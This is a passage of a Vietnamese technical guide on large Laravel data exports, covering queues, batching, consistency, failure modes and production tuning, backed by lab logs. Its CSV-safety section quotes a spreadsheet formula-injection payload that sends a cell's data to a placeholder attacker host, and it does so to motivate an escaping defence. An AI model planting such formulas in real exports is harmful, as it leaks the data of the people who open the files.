Cách nói khi phỏng vấn: "File không nằm ở thư mục public. Khi export xong, em sinh một đường link có chữ ký và hạn dùng ba mươi phút; chữ ký phủ cả mã export lẫn thời điểm hết hạn, nên đổi sang mã export khác hay để quá hạn đều bị từ chối, em đo được cả hai trường hợp trả 403. Lưu ý link có chữ ký giống như vé: ai cầm link cũng tải được trong thời hạn, nên với dữ liệu nhạy cảm em kiểm tra thêm quyền người đăng nhập ở route tải, và giữ hạn ngắn."
Trên S3 thì dùng Storage::temporaryUrl() (presigned URL, S3 tự kiểm chữ ký, PHP không phải truyền file). Disk local cũng
có temporaryUrl nếu bật 'serve' => true trong config/filesystems.php (tài liệu Laravel 12) — lab
dùng route riêng để thấy rõ cơ chế.
3.5. Chia nhỏ song song bằng Bus::batch — được bao nhiêu?
Chia dải id thành N lát, mỗi lát một job ghi file riêng, then() nối các file theo thứ tự. Mỗi cấu hình chạy N worker; so
md5 file cuối với file của job đơn để chắc nội dung giống hệt (out/07-batch.log):
### A. single ExportOrdersJob, 1 worker
wall=9.3s
### B. batch of 2 slices, 2 workers
batch a3177e40-619d-4d87-a649-629377eb161b jobs=2 slice=250000
wall=7.0s
job_batches: total=2 pending=0 failed=0 finished=yes
same bytes as single job: yes lines=500001
### B. batch of 4 slices, 4 workers
batch a3177e4d-b46e-4a92-a4aa-44ec2df60c70 jobs=4 slice=125000
wall=5.0s
job_batches: total=4 pending=0 failed=0 finished=yes
same bytes as single job: yes lines=500001
### B. batch of 8 slices, 8 workers
batch a3177e57-bb21-44ac-9d7a-fabbd95d8546 jobs=8 slice=62500
wall=5.5s
job_batches: total=8 pending=0 failed=0 finished=yes
same bytes as single job: yes lines=500001
### lab.log
18:43:01 batch then(): concat 2 parts in 0.15s
18:43:07 batch then(): concat 4 parts in 0.13s
18:43:14 batch then(): concat 8 parts in 0.14s
$jobs = [];
for ($i = 0; $i < $parts; $i++) {
$jobs[] = new ExportPartJob($i * $size + 1, min($max, ($i + 1) * $size), "$dir/part-$i.csv");
}
Bus::batch($jobs)->then(function (Batch $b) use ($paths, $final) {
$out = fopen($final, 'w');
fwrite($out, "\xEF\xBB\xBF");
Csv::put($out, Csv::HEAD);
foreach ($paths as $p) { $in = fopen($p, 'r'); stream_copy_to_stream($in, $out); fclose($in); unlink($p); }
fclose($out);
})->dispatch();
Cách nói khi phỏng vấn: "Em chia dải mã đơn hàng thành vài lát, mỗi lát một job ghi ra file riêng, đến khi cả nhóm job xong thì nối các file theo thứ tự, việc nối năm trăm nghìn dòng chỉ mất khoảng một phần mười giây. Đo trên máy bốn nhân: từ chín giây xuống năm giây với bốn worker, lên tám worker lại chậm hơn vì hết nhân và database phải phục vụ thêm kết nối. Cái giá là thêm bảng batch, thêm việc nối file và thêm chỗ có thể hỏng, nên em chỉ chia khi export đơn thật sự quá lâu với người dùng."
Chín giây xuống năm giây là ~1,9 lần với 4 worker, không phải 4 lần — đúng tinh thần Amdahl: phần không song song được (khởi động worker ~1s mỗi tiến trình, nối file, MySQL dùng chung 4 vCPU với PHP) chặn trần. 8 worker trên 4 vCPU chậm lại (5,5s). Trên production, nút cổ chai thật thường là database: 8 lát song song = 8 query quét cùng lúc trên primary đang phục vụ người dùng.
flowchart TD A["Export 500k dòng"] --> B["Chia dải id: 4 lát x 125k"] B --> C1["ExportPartJob 1<br/>part-0.csv"] B --> C2["ExportPartJob 2<br/>part-1.csv"] B --> C3["ExportPartJob 3<br/>part-2.csv"] B --> C4["ExportPartJob 4<br/>part-3.csv"] C1 --> D["Batch then(): nối theo thứ tự<br/>0,13s"] C2 --> D C3 --> D C4 --> D D --> E["final.csv: md5 trùng job đơn<br/>9,3s xuống 5,0s"]
4. Đảm bảo và giới hạn
4.1. Tính nhất quán của dữ liệu trong file
Export chạy hàng chục giây trên bảng đang được ghi. Lab: sau 1000 dòng đầu, một connection khác xoá id 1–5000, đổi
total của id 400000 thành 1, và chèn 1000 dòng mới (out/08-consistency.log):
baseline: total(id=400000) = 2600000
chunk_offset rows_in_file=496000 original=495000 new_rows=1000 skipped_existing=1000 total(id=400000)=1
by_id rows_in_file=497000 original=496000 new_rows=1000 skipped_existing=0 total(id=400000)=1
by_id_max rows_in_file=496000 original=496000 new_rows=0 skipped_existing=0 total(id=400000)=1
snapshot rows_in_file=500000 original=500000 new_rows=0 skipped_existing=0 total(id=400000)=2600000
- OFFSET paging làm mất dòng đang tồn tại.
skipped_existing=1000: 1000 dòng (id 5001–6000) vẫn còn trong bảng lúc kết thúc nhưng không có trong file. Lý do: đã đọc trang đầu (offset 0), xoá 5000 dòng phía trước, trang sau hỏi "bỏ qua 1000 dòng đầu" — nhưng 1000 dòng đầu giờ là id 5001–6000. Không lỗi, không cảnh báo. - Keyset không mất dòng (luôn hỏi "id lớn hơn id cuối") nhưng không có cận trên: 1000 dòng chèn trong lúc chạy lọt vào file. Báo cáo "đơn hàng tới 14h" lại có đơn 14h05.
- Keyset +
max_idchốt lúc bấm: không mất, không lọt dòng mới. Nhưng vẫn không phải ảnh chụp: dòng bị sửa sau khi export bắt đầu và trước khi được đọc tới sẽ mang giá trị mới (total=1), dòng bị xoá trước khi đọc tới thì mất. Đây là mức "mỗi dòng đúng tại thời điểm nó được đọc". - Ảnh chụp thật: mở
START TRANSACTION WITH CONSISTENT SNAPSHOTở REPEATABLE READ rồi đọc trong transaction đó — cả 500 000 dòng với giá trị gốc. Cái giá: transaction mở suốt thời gian export, InnoDB phải giữ undo log cho mọi bản ghi bị sửa trong lúc đó (purge không dọn được). Lab chỉ thấy History list length 22 → 25 với vài chục nghìn dòng sửa, chưa đủ để đo tác hại ở quy mô lớn — chưa verify.
// Ảnh chụp nhất quán cho báo cáo tài chính/đối soát (MySQL InnoDB)
DB::statement('SET TRANSACTION ISOLATION LEVEL REPEATABLE READ');
DB::statement('START TRANSACTION WITH CONSISTENT SNAPSHOT');
DB::table('orders')->select(Csv::COLS)->where('id', '<=', $maxId)
->lazyById(1000)->each($write); // mọi lô nhìn cùng một thời điểm
DB::statement('COMMIT');
Cách nói khi phỏng vấn: "Mặc định em đọc theo khoá kèm mã lớn nhất chốt lúc bấm: không mất dòng, không lẫn dòng mới, nhưng dòng bị sửa giữa chừng sẽ ra giá trị mới. Với báo cáo đối soát cần đúng tuyệt đối tại một thời điểm, em mở một transaction đọc ảnh chụp nhất quán và đọc mọi lô trong đó; đổi lại database phải giữ lịch sử thay đổi suốt thời gian chạy, nên em chạy nó trên replica. Còn phân trang bằng offset thì em cấm hẳn cho export: em đo được nó bỏ sót một nghìn dòng có thật khi có người xoá dữ liệu phía trước."
flowchart TD
A["Cần mức nhất quán nào?"] --> B{"Báo cáo đối soát,<br/>số phải khớp tuyệt đối?"}
B -- "có" --> C["Consistent snapshot trên replica<br/>500000/500000, giá trị gốc"]
B -- "không" --> D["lazyById + max_id<br/>không mất, không lẫn dòng mới"]
A -.-> E["Cấm: OFFSET paging<br/>mất 1000 dòng có thật"]
4.2. Các đảm bảo khác và giới hạn
- RAM: O(kích thước lô) với keyset +
fputcsv/OpenSpout — đo phẳng 28–32MB từ 10 nghìn tới 500 nghìn dòng. O(N) với mọi thứ cóget(), buffered cursor, nối chuỗi, PhpSpreadsheet. - Thời gian: keyset tuyến tính theo N; OFFSET tổng chi phí ~ N²/(2 × kích thước lô) dòng phải quét — đo 45,8s vs 9,5s ở 500 nghìn dòng, khoảng cách tăng theo bình phương khi bảng lớn lên.
- Delivery semantics của job: at-least-once. Queue Laravel có thể chạy một job hai lần (worker chết sau khi làm xong, trước khi
xoá job; hoặc
retry_afterquá ngắn — mục 5.6). Vì vậy tên file random theo lần chạy, trạng thái cập nhật theo id export, không "cộng dồn" gì — chạy hai lần chỉ tốn công, không sai. - Chống trùng: unique index đảm bảo tối đa một export đang chạy cho mỗi (người, bộ lọc) — đảm bảo của database, không phụ thuộc cache. Không đảm bảo chống hai bộ lọc "gần giống" (đó là việc của throttle).
- Signed URL: đảm bảo toàn vẹn (sửa id/expires là 403) và hết hạn; không đảm bảo bí mật — link là bearer token.
- Song song: trần do Amdahl và do database dùng chung: 4 worker được 1,9 lần, 8 worker còn chậm hơn 4.
- Giới hạn định dạng: XLSX tối đa 1 048 576 dòng/sheet (giới hạn của Excel, không đo trong lab); CSV không có giới hạn nhưng Excel mở cũng chỉ hiện chừng đó dòng.
5. Failure modes
Mỗi mục: triệu chứng → output thật → hệ quả (mất, trùng hay chậm) → phát hiện và phục hồi.
5.1. 504 nhưng PHP vẫn chạy, và người dùng bấm lại
Đã thấy ở 3.3: nginx trả 504 ở giây 15, PHP chạy tiếp tới 30,7s. Khi client tự bỏ (curl --max-time 5):
build: curl exit=28
stream: curl exit=28
18:22:11 pid=8 build start
18:22:16 pid=10 stream start
18:22:40 pid=8 build done rows=500000 time=29.2s connection_aborted=0
Bản dựng file chạy trọn 29,2s cho một người đã bỏ đi; bản stream thì dừng (không có dòng stream done) vì lần ghi tiếp theo
vào socket đã đóng làm PHP huỷ script (ignore_user_abort mặc định tắt). Hệ quả: chậm và lãng phí, nhân lên khi
người dùng F5. Phát hiện: 504 trong access log nginx đi kèm request PHP-FPM dài trong slowlog. Phục hồi: đưa
vào queue; không "sửa" bằng cách tăng timeout.
5.2. File thiếu dòng với HTTP 200
Case E ở 3.3: 422 997/500 000 dòng, HTTP 200, curl exit 0. Hệ quả: mất dữ liệu mà không ai biết — báo cáo doanh thu thiếu
15% được gửi lên sếp. Phát hiện: chỉ thấy trong log FPM (execution timed out ... terminating); phía người dùng
không có dấu hiệu nào. Phục hồi/phòng: không stream những export có thể chạy quá timeout; nếu buộc phải stream, ghi dòng cuối
dạng "TỔNG: N dòng" để người đọc tự kiểm, hoặc gửi kèm số dòng mong đợi.
5.3. Export chiếm hết worker PHP-FPM
### G. 4 exports at once (= pm.max_children) while a normal page is requested
GET /up while pool busy: http=200 total=12.364291s
GET /up after: http=200 total=0.023422s
4 export trên pool 4 worker: một trang health-check bình thường 23ms đợi 12,4 giây. Hệ quả: chậm toàn site, và nếu LB health-check có timeout ngắn thì node bị rút khỏi pool — sập dây chuyền. Phục hồi: queue; nếu vẫn giữ export đồng bộ thì tách pool FPM riêng cho route export (bài Scale nginx + PHP-FPM, mục "Tách pool").
5.4. Worker hết RAM trên PHP 8.4.27: chết tức thì, failed() không chạy
Job Order::all() trên worker memory_limit=128M, $tries=2, retry_after=20
(out/06-worker-failures.log):
-- worker run 1 (19:38:17)
2026-10-28 18:38:17 App\Jobs\OomExportJob RUNNING
Hard memory limit of 268435456 bytes exhausted (tried to allocate 2097152 bytes) in /app/vendor/laravel/framework/src/Illuminate/Database/Connection.p
worker exit=137
jobs: id=1 attempts=1 reserved=yes
failed_jobs=0
-- worker run 2 right away: job is still reserved by the dead worker
worker exit=0
jobs: id=1 attempts=1 reserved=yes
-- worker run 3 after retry_after (19:38:43)
Hard memory limit of 268435456 bytes exhausted (tried to allocate 2097152 bytes) in /app/vendor/laravel/framework/src/Illuminate/Database/Connection.p
worker exit=137
jobs: id=1 attempts=2 reserved=yes
-- worker run 4 after retry_after (19:39:06)
2026-10-28 18:39:06 App\Jobs\OomExportJob 18.68ms FAIL
failed_jobs=1
failed_jobs.exception: Illuminate\\Queue\\MaxAttemptsExceededException: App\\Jobs\\OomExportJob has been attempted too many times.
Năm điều, trong đó điều đầu là mới với PHP 8.4.27:
- Thông báo là "Hard memory limit of 268435456" (256MB), không phải "Allowed memory size of 134217728" (128MB). Bản vá
PHP2Shell (PHP 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12) biến
memory_limitthành giới hạn mềm và thêm giới hạn cứng mặc định gấp đôi (memory_hard_limit_percent). Vượt mềm: lỗi fatal như cũ ở điểm an toàn kế tiếp. Vượt cứng (khi mã C cấp phát liên tục mà không về điểm an toàn — ở đây là driver kéo cả kết quả buffered): in một dòng ra stderr và_exit(137), không shutdown function, không handler. Bối cảnh lỗ hổng ở bài Nâng cấp PHP 8.4 (PHP2Shell). Cùng codeget()ở 3.1 chạy CLI với 256M thì ra lỗi mềm (exit 255) — đường nào xảy ra phụ thuộc chỗ cấp phát. - Capacity planning phải tính theo giới hạn cứng: một worker
memory_limit=128Mcó thể phình tới ~256MB trước khi bị giết. 8 worker = 2GB chứ không phải 1GB; container giới hạn thấp hơn thì OOM killer của kernel ra tay trước và tự chọn nạn nhân. failed()không chạy,failed_jobstrống, job nằm "reserved" của một worker đã chết. Export đứng ởrunningmãi trên giao diện. Chạy worker mới ngay lập tức cũng không lấy được (run 2).- Sau
retry_afterjob được giao lại, chết tiếp (attempts=2). Lần giao thứ ba mới vượt$triesvà Laravel ghiMaxAttemptsExceededException— lúc đófailed()mới chạy. Thời gian từ lúc hỏng tới lúc người dùng thấy "thất bại" ≈tries × retry_after(vớiretry_after90s mặc định và 3 lần thử là 4–5 phút giao diện báo "đang chạy"). - Phục hồi: sửa cách đọc (mục 3.1), không nâng
memory_limit. Thêm một lệnh định kỳ đánh dấufailedcác exportrunningmàupdated_atquá cũ (tiến độ không đổi quá N phút) — vìfailed()không đáng tin khi tiến trình chết cứng.
Cách nói khi phỏng vấn: "Từ bản vá PHP tháng mười, giới hạn bộ nhớ có hai mức: vượt mức thường thì vẫn là lỗi bình thường, nhưng vượt mức cứng, mặc định gấp đôi, thì tiến trình bị kết thúc ngay với mã 137. Em đo được worker giới hạn 128MB chết ở 256MB, hàm failed của job không được gọi, bảng failed_jobs trống, job bị giữ bởi worker đã chết cho tới khi hết thời gian chờ giao lại. Nên em tính RAM cho worker theo mức cứng, và có một tác vụ định kỳ đánh dấu thất bại những export lâu không cập nhật tiến độ."
sequenceDiagram participant Q as Bảng jobs participant W1 as Worker 1 participant W2 as Worker 2 participant UI as Giao diện W1->>Q: reserve job (attempts=1) Note over W1: Order::all() tới 256MB, exit 137 UI->>UI: vẫn thấy running W2->>Q: poll, job đang reserved, bỏ qua Note over Q: hết retry_after 20s W2->>Q: reserve lại (attempts=2), chết tiếp Note over Q: hết retry_after lần nữa W2->>Q: attempts=3 vượt tries=2 W2->>UI: failed(): status=failed
5.5. Job quá $timeout: file dở dang nằm lại trên đĩa
-- cleanup=false
2026-10-28 18:39:13 App\Jobs\SlowExportJob RUNNING
2026-10-28 18:39:18 App\Jobs\SlowExportJob 5s FAIL
worker exit=137
-- cleanup=true
2026-10-28 18:39:24 App\Jobs\SlowExportJob 5s FAIL
worker exit=137
left on disk: slow-nocleanup.csv 7395137 bytes
partial file lines: 39000
18:39:18 SlowExportJob failed(): Illuminate\Queue\TimeoutExceededException
18:39:24 SlowExportJob failed(): Illuminate\Queue\TimeoutExceededException -> partial file deleted
Khác với OOM, timeout do Laravel tự xử (tín hiệu SIGALRM qua pcntl): nó gọi failed() trước khi tự giết
worker (exit 137), nên dọn file được. Không dọn thì file 7,4MB/39 000 dòng nằm lại — nếu có code nào "lấy file mới nhất trong thư mục",
người dùng nhận file thiếu. Phòng: ghi ra tên tạm (.part), chỉ đổi tên/ghi path vào DB khi xong; dọn
trong failed(); lifecycle rule xoá file tạm cũ.
5.6. --timeout lớn hơn retry_after: job chạy hai lần, trạng thái nhảy lung tung
Job thật chạy ~38s, $timeout=600, retry_after=20, 2 worker:
t=10s export: status=running processed=150000 error=-
t=20s export: status=failed processed=290000 error=App\\Jobs\\ExportOrdersJob has been attempted too many times.
t=30s export: status=failed processed=430000 error=App\\Jobs\\ExportOrdersJob has been attempted too many times.
t=40s export: status=done processed=500000 error=App\\Jobs\\ExportOrdersJob has been attempted too many times.
[w1]
2026-10-28 18:39:26 App\Jobs\ExportOrdersJob RUNNING
2026-10-28 18:40:04 App\Jobs\ExportOrdersJob 38s DONE
worker exit=0
[w2]
2026-10-28 18:39:46 App\Jobs\ExportOrdersJob RUNNING
2026-10-28 18:39:46 App\Jobs\ExportOrdersJob 89.39ms FAIL
worker exit=0
final export: status=done processed=500000 path=exports/1-7gkS11McpDUjgjvF.csv
Đúng giây 20, worker 2 coi job là "mất" và lấy lại. Vì $tries=1, nó lập tức ghi job thất bại và gọi failed() — giao
diện báo thất bại trong khi worker 1 vẫn đang ghi file ngon lành; 18 giây sau lại thành done nhưng còn dính câu lỗi.
Nếu $tries=3 thì thay vì báo sai sẽ là hai lần chạy thật song song. Tài liệu Laravel: --timeout phải ngắn hơn
retry_after vài giây. Phòng: queue exports riêng với retry_after lớn hơn export dài nhất
(vd 900s) và $timeout nhỏ hơn nó; done thì xoá cột error. Cùng loại bẫy ở bài
Scale out queue worker (Bẫy 2).
sequenceDiagram participant W1 as Worker 1 participant Q as jobs (retry_after 20s) participant W2 as Worker 2 participant E as exports W1->>Q: reserve, attempts=1 W1->>E: running, ghi file Note over Q: giây 20: coi như mất W2->>Q: reserve lại, attempts=2 vượt tries=1 W2->>E: failed() - status=failed W1->>E: giây 38: status=done (error vẫn còn)
5.7. Bấm 5 lần → 5 export
Đã đo ở 3.4: không chống trùng → 5 export, 5 lần đọc cả bảng. Hệ quả: chậm gấp 5, và worker export bị chiếm hết nên
export của người khác chờ. ShouldBeUnique chặn được job nhưng 4 request kia nhận 202 "ma" không có id; khoá ở cache, nên theo cơ chế thì cache bị flush sẽ giải phóng khoá sớm, còn job chết cứng thì khoá kẹt tới uniqueFor (suy ra từ tài liệu, chưa đo).
5.8. Unbuffered query: hai cái bẫy
cursor_unbuf_write ERROR after rows=1000: SQLSTATE[HY000]: General error: 2014 Cannot execute queries while other unbuffered queries are active.
cursor_unbuf_slow ERROR after rows=16004: SQLSTATE[HY000]: General error: 2006 MySQL server has gone away
- 2014: trong lúc đang đọc dở kết quả unbuffered, connection đó không chạy được query nào khác — cập nhật tiến độ ở dòng 1000 là chết. Phải dùng connection thứ hai cho mọi ghi phụ.
- 2006: unbuffered nghĩa là MySQL đang đẩy dữ liệu và chờ PHP đọc. PHP dừng 5 giây (mô phỏng ghi chậm/upload S3) với
net_write_timeout=2thì MySQL cắt kết nối. Mặc địnhnet_write_timeoutlà 60s — một bước xử lý chậm trong vòng lặp là đủ. Ngoài ra MySQL giữ tài nguyên của câu query suốt thời gian PHP đọc.
Vì vậy keyset (lazyById) — nhiều query ngắn, connection rảnh giữa các lô — an toàn hơn một cursor unbuffered dài.
5.9. Worker chạy bằng user khác web: link tải trả 500
Lần chạy đầu của lab 05, worker chạy bằng root, PHP-FPM bằng www-data (out/05b-worker-as-root.log, hai dòng cuối lấy bằng tay ngay sau lần chạy đó):
download: http=500 bytes=6665
local.ERROR: Unable to retrieve the file_size for file at location: exports/1-ymMKZG7LXc9DiuFS.csv.
drwx------ 2 root root 4096 Oct 28 19:32 .
Flysystem tạo thư mục với quyền "private" (0700) theo user của tiến trình tạo ra nó. Worker tạo, web không đọc được. Lỗi chỉ lộ ra khi
người dùng bấm tải. Phòng: supervisor chạy queue:work bằng cùng user với PHP-FPM; hoặc dùng S3 (không có khái
niệm user hệ điều hành).
5.10. Laravel Excel ở chế độ queue: mỗi chunk mở lại cả file
Source 4.0.6, Jobs/AppendQueryToSheet.php: mỗi job chunk gọi $writer->reopen($this->temporaryFile) (đọc lại toàn bộ
xlsx vào PhpSpreadsheet), lấy trang bằng forPage() (OFFSET), thêm 1000 dòng, rồi write() lại toàn bộ file. Đo
(out/10-laravel-excel-queued.log):
### rows=20000, chunk=1000, 1 worker (memory_limit=512M)
jobs queued: 1
worker runs (exit codes): 12 12 12 0 (queue:work --memory default 128 -> worker stops after a job once usage > 128MB)
wall=81.2s
AppendQueryToSheet jobs=20 first 3: 256.36ms 532.67ms 936.83ms last 3: 5s 5s 6s
Maatwebsite\Excel\Jobs\QueueExport 118.54ms DONE
Maatwebsite\Excel\Jobs\CloseSheet 6s DONE
Maatwebsite\Excel\Jobs\StoreQueuedExport 24.04ms DONE
file 0.9MB
### rows=50000, chunk=1000, 1 worker (memory_limit=512M)
jobs queued: 1
worker runs (exit codes): 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 0 (queue:work --memory default 128 -> worker stops after a job once usage > 128MB)
wall=480.1s
AppendQueryToSheet jobs=50 first 3: 433.91ms 562.99ms 845.05ms last 3: 16s 18s 17s
Maatwebsite\Excel\Jobs\QueueExport 573.54ms DONE
Maatwebsite\Excel\Jobs\CloseSheet 16s DONE
Maatwebsite\Excel\Jobs\StoreQueuedExport 44.96ms DONE
file 2.3MB
Chunk đầu 0,26–0,43s, chunk cuối 6s (20 nghìn dòng) và 16–18s (50 nghìn dòng): mỗi job đắt dần vì phải đọc-ghi lại file ngày càng lớn,
nên tổng thời gian tăng theo bình phương số chunk — 2,5 lần số dòng (20k → 50k) tốn 5,9 lần thời gian (81,2s → 480,1s). Để so: fputcsv
làm 500 nghìn dòng trong 6s, OpenSpout trong 37s. Worker còn tự dừng sau gần như mọi job ở bản 50k (33 lần exit 12): queue:work mặc định
--memory=128, kiểm tra sau mỗi job và thoát khi vượt — hàng rào chặn rò rỉ, supervisor khởi động lại, nhưng mỗi lần khởi động lại tốn thêm
thời gian boot. Điểm cộng của chế độ này: mỗi job ngắn hơn nhiều so với một job khổng lồ, ít nguy cơ chạm timeout. Điểm trừ: chậm theo bình phương
và RAM mỗi job vẫn tỷ lệ với cả file.
5.11. CSV bị chèn công thức
Ghi chú do khách nhập =HYPERLINK("http://evil.example/?d="&A2,"Xem chi tiết") — mở bằng Excel thành link gửi dữ liệu ô A2
ra ngoài. OWASP khuyến nghị thêm dấu ' trước ô bắt đầu bằng = + - @, TAB, CR (out/09-csv-safety.log):
"=1+2" -> "'=1+2"
"+84 cước" -> "'+84 cước"
"-5" -> "'-5"
"@SUM(A1)" -> "'@SUM(A1)"
"\t=1" -> "'\t=1"
"Nguyễn Văn A" -> "Nguyễn Văn A"
1500000 -> 1500000
-5 -> -5
cells starting with a raw '=': 0
cells starting with the safe "'=": 500
class Csv
{
// Ô bắt đầu bằng = + - @ TAB CR bị Excel/Sheets hiểu là công thức → thêm ' phía trước
public static function safe(mixed $v): mixed
{
return is_string($v) && $v !== '' && str_contains("=+-@\t\r", $v[0]) ? "'" . $v : $v;
}
// Số giữ nguyên kiểu số; chỉ chuỗi do người dùng nhập mới qua safe()
public static function row(object $o): array
{
return [$o->id, self::safe($o->customer_name), self::safe($o->email), $o->status,
$o->total, self::safe($o->note), (string) $o->created_at];
}
public static function put($fh, array $row): void
{
fputcsv($fh, $row, ',', '"', ''); // PHP 8.4: phải truyền $escape; '' = đúng RFC 4180
}
}
Cách nói khi phỏng vấn: "Mọi chuỗi do người dùng nhập, nếu bắt đầu bằng dấu bằng, cộng, trừ, a còng hay ký tự tab, em thêm một dấu nháy đơn phía trước để Excel hiểu là chữ, không phải công thức. Số thì em để nguyên kiểu số nên không bị ảnh hưởng. Cái giá là chuỗi hợp lệ như số điện thoại có dấu cộng sẽ hiện thêm dấu nháy, nên em chỉ áp cho cột chữ do người dùng nhập và gom vào một hàm dùng chung cho mọi chỗ xuất file."
Hai chi tiết khác trong cùng lab: file bắt đầu bằng BOM ef bb bf (thiếu nó, Excel trên Windows mở UTF-8 thành
"Nguyá»…n"); và trên PHP 8.4 gọi fputcsv không truyền $escape ra
Deprecated: fputcsv(): the $escape parameter must be provided as its default value will change. Escape cũ "\\"
còn sinh CSV sai chuẩn với chuỗi chứa \":
value: C:\path\"x"
escape="\\" (old default): "C:\path\"x"""
escape="" (RFC 4180): "C:\path\""x"""
6. Vận hành trong production
6.1. Đo cái gì
- Thời gian chờ trong queue (dispatch → bắt đầu chạy) của queue
exports: tăng nghĩa là thiếu worker export, không phải export chậm. - Thời gian chạy p50/p95 và tốc độ dòng/giây theo loại báo cáo — lưu sẵn trong bảng
exports(created_at,finished_at,processed). Tốc độ tụt = query/plan đổi, index mất, replica lag. - Peak RAM của job (lab ghi
peak_mb): phẳng là đúng thiết kế; tăng theo kích thước báo cáo là có khâu nào đó đang gom. - Tỷ lệ thất bại + số export
runningmàupdated_atquá cũ — dấu hiệu worker chết cứng (mục 5.4). - Dung lượng thư mục/bucket export và số file quá hạn chưa xoá.
- Số query đang chạy lâu trên DB do export (MySQL
processlist, PostgreSQLpg_stat_activity).
6.2. Cấu hình ảnh hưởng lớn
; config/queue.php — connection riêng cho export, retry_after > export dài nhất
'exports' => ['driver' => 'database', 'queue' => 'exports', 'retry_after' => 900, ...]
; supervisor: user = cùng user với PHP-FPM (mục 5.9)
command=php artisan queue:work exports --queue=exports --timeout=840 --memory=256 --max-jobs=200 --tries=1
user=www-data
numprocs=2
Cách nói khi phỏng vấn: "Export có hàng đợi và worker riêng, để báo cáo nặng không làm trễ email hay thông báo. Thời gian queue chờ trước khi giao lại job em đặt mười lăm phút, còn thời gian tối đa của job em đặt mười bốn phút, luôn nhỏ hơn, để không bao giờ có hai worker chạy cùng một export. Worker tự khởi động lại sau hai trăm job hoặc khi vượt hai trăm năm mươi sáu MB để chặn rò rỉ, và chạy cùng user với web để web đọc được file."
6.3. Capacity planning (ví dụ minh hoạ, dựng từ số đo lab)
- Một export 500 nghìn dòng CSV ≈ 6–9s CPU PHP + một chuỗi 501 query ngắn trên DB, RAM ~32MB (thực tế giới hạn cứng là 2 ×
memory_limitđể tính RAM máy). - Ví dụ minh hoạ: 200 admin, giờ cao điểm mỗi người xuất 2 lần/giờ → 400 export/giờ ≈ 0,11 export/giây. Little's law: số export đang chạy trung bình = 0,11 × 9s ≈ 1. Hai worker export là đủ với dư địa cho cụm đầu giờ; 2 × 256MB RAM.
- Database mới là chỗ cần nhìn: mỗi export là một lượt quét 100MB dữ liệu. Nhiều export trùng giờ trên primary đang phục vụ ghi thì chuyển sang read replica (chấp nhận độ trễ replica) — chưa verify trong lab này.
- Lưu trữ: 92MB/file CSV × 400 file/giờ ≈ 37GB/giờ nếu không xoá. Lifecycle xoá sau 24–72 giờ; nén gzip (CSV nén ~5–10 lần — chưa đo).
6.4. Lúc 3h sáng
- Người dùng báo "export treo": xem bảng
exports—status=running+processedkhông đổi +updated_atcũ → worker chết cứng. TìmHard memory limit/exited with code 137trong log worker/supervisor. - "File thiếu dòng": hỏi file đến từ route stream hay queue. Stream → tìm
execution timed outtrong log FPM (mục 5.2). - "Link tải lỗi 500": quyền file (mục 5.9) hoặc file đã bị lifecycle xoá trước khi link hết hạn (hạn link phải ngắn hơn tuổi file).
- "Báo trạng thái thất bại nhưng vẫn có file":
retry_after< thời gian chạy (mục 5.6). - DB chậm cả hệ thống đúng giờ báo cáo: đếm export đang chạy, tạm dừng worker export (
supervisorctl stop) — export chờ trong queue, người dùng chỉ chậm chứ không mất.
7. So sánh và ma trận quyết định
| Phương án | RAM | Giới hạn thời gian | Độ phức tạp | UX | Hỏng thế nào |
|---|---|---|---|---|---|
Excel::download / get() đồng bộ | O(N), 734MB+ | timeout nginx/FPM | thấp nhất | chờ, dễ 504 | OOM, 504, F5 nhân đôi tải |
streamDownload + lazyById | phẳng, 4MB trong FPM | request_terminate_timeout | thấp | tải ngay (TTFB 45ms) | file thiếu dòng mà vẫn 200; chiếm worker web |
| Queue 1 job CSV + signed URL | phẳng, 32MB | $timeout của job (tuỳ đặt) | trung bình: bảng exports, polling/notification | chờ có tiến độ | OOM/timeout báo rõ ràng nếu cấu hình đúng |
| Queue + OpenSpout XLSX | gần phẳng | như trên, chậm hơn ~6x | trung bình | file Excel thật, nhỏ hơn 4,5x | như trên |
| Bus::batch chia lát | phẳng mỗi job | ngắn hơn ~1,9x với 4 worker | cao: batch, nối file, huỷ | nhanh hơn | một lát hỏng → cả batch; đè DB |
| Laravel Excel queued (FromQuery) | O(N) mỗi job | mỗi job ngắn | thấp (khai báo) | file Excel đẹp | chậm theo bình phương: 50k dòng 480s |
Đẩy cho DB / BI (SELECT ... INTO OUTFILE, COPY, Metabase) | ngoài PHP | ngoài PHP | thêm hạ tầng/quyền | tự phục vụ | quyền dữ liệu, không qua logic ứng dụng — không lab trong bài này |
Dùng khi nào:
- Dưới vài chục nghìn dòng, chắc chắn xong trong vài giây:
streamDownload+lazyById+toBase. Không cần queue. - Lớn hơn, hoặc không chắc thời gian: queue một job, CSV mặc định, OpenSpout khi bắt buộc XLSX, giao bằng signed URL. Đây là mặc định của bài.
- Chỉ chia batch khi một job đơn vượt mức người dùng chấp nhận và database còn dư.
- Laravel Excel/PhpSpreadsheet: báo cáo nhỏ cần định dạng đẹp, nhiều sheet, công thức.
- Phân tích tự do trên chục triệu dòng: BI/kho dữ liệu, không phải PHP.
Tránh khi nào: đừng xuất đồng bộ bằng get() ở bất kỳ kích thước nào có thể tăng; đừng stream export có thể vượt timeout
FPM; đừng dùng Laravel Excel queued cho hàng trăm nghìn dòng; đừng chia batch trên primary đang chịu tải.
8. Góc nhìn tech lead: tác động tổ chức
- Chuẩn hoá thành một module, không để mỗi màn hình tự viết. Một bảng
exports, một base job (keyset + writer + tiến độ + failed), một helperCsv::safe/put, một route tải có ký. Màn hình mới chỉ khai báo query + cột. Lý do: 4 trong 11 failure mode ở mục 5 nằm ở chi tiết vặt (quyền file, BOM,$escape,retry_after) mà mỗi dev tự viết sẽ dẫm lại. - Export là kênh dữ liệu đi ra khỏi hệ thống. Phải qua phân quyền giống màn hình xem (Policy), ghi audit log (ai xuất gì, bộ lọc nào, bao nhiêu dòng), che cột nhạy cảm theo vai trò, và có hạn lưu file. Đây là câu hỏi của bộ phận bảo mật/pháp chế, không chỉ của dev.
- Onboarding: dev mới chỉ cần biết "export = khai báo query + cột trong module". Review checklist: có
->get()/chunk()trong export không? Có cột user-nhập nào không quasafe()không? - Vendor lock-in: Laravel Excel tiện nhưng khoá vào PhpSpreadsheet (mô hình giữ cả file). Exit strategy: định nghĩa
interface
